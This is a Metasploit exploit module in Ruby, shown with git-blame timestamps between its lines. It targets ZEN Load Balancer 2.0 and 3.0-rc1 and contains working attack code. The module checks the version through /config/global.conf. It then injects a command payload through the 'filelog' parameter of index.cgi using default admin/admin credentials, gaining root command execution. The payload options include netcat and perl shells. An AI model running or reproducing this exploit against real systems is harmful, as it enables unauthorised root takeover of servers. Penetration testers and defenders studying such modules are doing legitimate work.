2012-09-21 17:25:20 +09:30
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 13:50:46 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-09-21 17:25:20 +09:30
|
|
|
##
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2012-09-21 17:25:20 +09:30
|
|
|
Rank = ExcellentRanking
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2012-09-21 17:25:20 +09:30
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2012-09-21 17:25:20 +09:30
|
|
|
def initialize(info={})
|
|
|
|
|
super(update_info(info,
|
|
|
|
|
'Name' => "ZEN Load Balancer Filelog Command Execution",
|
|
|
|
|
'Description' => %q{
|
|
|
|
|
This module exploits a vulnerability in ZEN Load Balancer
|
|
|
|
|
version 2.0 and 3.0-rc1 which could be abused to allow authenticated users
|
|
|
|
|
to execute arbitrary code under the context of the 'root' user.
|
|
|
|
|
The 'content2-2.cgi' file uses user controlled data from the 'filelog'
|
|
|
|
|
parameter within backticks.
|
|
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Author' =>
|
|
|
|
|
[
|
2019-01-10 19:19:14 +00:00
|
|
|
'bcoles' # Discovery and exploit
|
2012-09-21 17:25:20 +09:30
|
|
|
],
|
|
|
|
|
'References' =>
|
|
|
|
|
[
|
2012-09-24 21:49:32 +02:00
|
|
|
['OSVDB', '85654'],
|
2012-09-21 11:36:58 +02:00
|
|
|
['URL', 'http://itsecuritysolutions.org/2012-09-21-ZEN-Load-Balancer-v2.0-and-v3.0-rc1-multiple-vulnerabilities/']
|
2012-09-21 17:25:20 +09:30
|
|
|
],
|
|
|
|
|
'DefaultOptions' =>
|
|
|
|
|
{
|
2015-09-01 10:43:45 +02:00
|
|
|
'EXITFUNC' => 'thread'
|
2012-09-21 17:25:20 +09:30
|
|
|
},
|
|
|
|
|
'Platform' => 'unix',
|
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
|
'Payload' =>
|
|
|
|
|
{
|
|
|
|
|
'Space' => 1024,
|
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
|
'DisableNops' => true,
|
|
|
|
|
'Compat' =>
|
|
|
|
|
{
|
|
|
|
|
'PayloadType' => 'cmd',
|
2015-08-10 17:12:59 -05:00
|
|
|
'RequiredCmd' => 'generic netcat netcat-e perl',
|
2012-09-21 17:25:20 +09:30
|
|
|
}
|
|
|
|
|
},
|
|
|
|
|
'Targets' =>
|
|
|
|
|
[
|
|
|
|
|
['Automatic Targeting', { 'auto' => true }]
|
|
|
|
|
],
|
2012-09-21 11:36:58 +02:00
|
|
|
'Privileged' => true,
|
2020-10-02 17:38:06 +01:00
|
|
|
'DisclosureDate' => '2012-09-14',
|
2012-09-21 17:25:20 +09:30
|
|
|
'DefaultTarget' => 0))
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2012-09-21 17:25:20 +09:30
|
|
|
register_options(
|
|
|
|
|
[
|
|
|
|
|
Opt::RPORT(444),
|
|
|
|
|
OptBool.new('SSL', [true, 'Use SSL', true]),
|
2016-05-27 18:37:04 -05:00
|
|
|
OptString.new('HttpUsername', [true, 'The username for the application', 'admin']),
|
2016-05-27 18:31:54 -05:00
|
|
|
OptString.new('HttpPassword', [true, 'The password for the application', 'admin'])
|
2017-05-03 15:42:21 -05:00
|
|
|
])
|
2012-09-21 17:25:20 +09:30
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2012-09-21 17:25:20 +09:30
|
|
|
def check
|
|
|
|
|
# retrieve software version from config file
|
2016-02-01 15:12:03 -06:00
|
|
|
vprint_status("Sending check")
|
2012-09-21 17:25:20 +09:30
|
|
|
begin
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
|
'uri' => '/config/global.conf'
|
|
|
|
|
})
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2014-01-21 17:14:55 -06:00
|
|
|
if res and res.code == 200 and res.body =~ /#version ZEN\s+\$version=\"(2|3\.0\-rc1)/
|
2012-09-21 17:25:20 +09:30
|
|
|
return Exploit::CheckCode::Appears
|
|
|
|
|
elsif res and res.code == 200 and res.body =~ /zenloadbalancer/
|
|
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2012-09-21 17:25:20 +09:30
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
2016-02-01 15:12:03 -06:00
|
|
|
vprint_error("Connection failed")
|
2014-01-21 17:14:55 -06:00
|
|
|
return Exploit::CheckCode::Unknown
|
2012-09-21 17:25:20 +09:30
|
|
|
end
|
2014-01-21 17:14:55 -06:00
|
|
|
return Exploit::CheckCode::Safe
|
2012-09-21 17:25:20 +09:30
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2012-09-21 17:25:20 +09:30
|
|
|
def exploit
|
2016-05-27 18:37:04 -05:00
|
|
|
user = datastore['HttpUsername']
|
2016-05-27 18:31:54 -05:00
|
|
|
pass = datastore['HttpPassword']
|
2012-09-21 17:25:20 +09:30
|
|
|
cmd = Rex::Text.uri_encode(";#{payload.encoded}&")
|
|
|
|
|
lines = rand(100) + 1
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2012-09-21 17:25:20 +09:30
|
|
|
# send payload
|
2016-02-01 15:12:03 -06:00
|
|
|
print_status("Sending payload (#{payload.encoded.length} bytes)")
|
2012-09-21 17:25:20 +09:30
|
|
|
begin
|
|
|
|
|
res = send_request_cgi({
|
2014-05-25 19:29:39 +02:00
|
|
|
'uri' => '/index.cgi',
|
|
|
|
|
'authorization' => basic_auth(user, pass),
|
2015-04-17 13:59:49 -05:00
|
|
|
'encode_params' => false,
|
2014-05-25 19:29:39 +02:00
|
|
|
'vars_get' => {
|
|
|
|
|
'nlines' => lines,
|
|
|
|
|
'action' => 'See logs',
|
|
|
|
|
'id' => '2-2',
|
|
|
|
|
'filelog' => cmd
|
|
|
|
|
}
|
2012-09-21 17:25:20 +09:30
|
|
|
}, 25)
|
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
2013-08-15 14:14:46 -05:00
|
|
|
fail_with(Failure::Unreachable, 'Connection failed')
|
2012-09-21 17:25:20 +09:30
|
|
|
rescue
|
2013-08-15 14:14:46 -05:00
|
|
|
fail_with(Failure::Unknown, 'Sending payload failed')
|
2012-09-21 17:25:20 +09:30
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2012-09-21 17:25:20 +09:30
|
|
|
if res and res.code == 401
|
2013-08-15 14:14:46 -05:00
|
|
|
fail_with(Failure::NoAccess, 'Authentication failed')
|
2012-09-21 17:25:20 +09:30
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2012-09-21 17:25:20 +09:30
|
|
|
end
|
|
|
|
|
end
|